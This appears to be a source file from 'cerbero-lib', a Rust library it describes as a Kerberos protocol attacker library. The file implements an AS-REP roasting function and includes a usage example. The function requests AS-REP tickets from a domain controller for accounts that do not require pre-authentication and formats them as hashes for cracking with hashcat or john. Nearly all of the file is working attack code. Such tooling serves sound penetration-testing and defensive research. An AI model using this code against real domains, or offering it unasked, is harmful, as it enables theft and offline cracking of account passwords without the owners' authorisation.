cerbero-lib 0.1.0

Kerberos protocol attacker library
use crate::{
	communication::KrbChannel,
	core::{
		request_as_rep, EncryptionType, KrbUser, {as_rep_to_crack_string, CrackFormat},
	},
	error::Result,
};

/// AS-REP Roasting can be used to discover users that do not require pre-authentication
///
/// This can be used to retrieve a ticket that can be cracked with hashcat or john
///
/// # Examples
///
/// ```
/// let mut kdcs = Kdcs::new();
/// let kdc_ip = IpAddr::V4(Ipv4Addr::new(127, 0, 0, 1));
/// kdcs.insert("DOMAIN.COM".to_string(), kdc_ip);
///
/// let mut kdccomm = KdcComm::new(kdcs, TransportProtocol::TCP);
///
/// match kdccomm.create_channel("DOMAIN.COM")
/// {
///     Ok(channel) => match asreproast(
///                                     "DOMAIN.COM",
///                                     "Username",
///                                     CrackFormat::Hashcat,
///                                     channel.as_ref(),
///                                     Some(EncryptionType::RC4),
///     )
///     {
///         Ok(hash) =>
///         {
///             println!("Crackable hash: {}", hash);
///         },
///         Err(e) => panic!("Failed to AS-REP roast: {}", e),
///     },
///     Err(e) => panic!("Failed to create a channel to the KDC: {}", e),
/// }
/// ```
pub fn asreproast(realm: &str,
                  username: &str,
                  crack_format: CrackFormat,
                  channel: &dyn KrbChannel,
                  etype: Option<EncryptionType>)
                  -> Result<String>
{
	let username = username.to_string();

	let user = KrbUser::new(username.clone(), realm.to_string());

	let as_rep = request_as_rep(user, None, etype.map(|e| vec![e.as_constant()]), channel)?;

	Ok(as_rep_to_crack_string(&username, &as_rep, crack_format))
}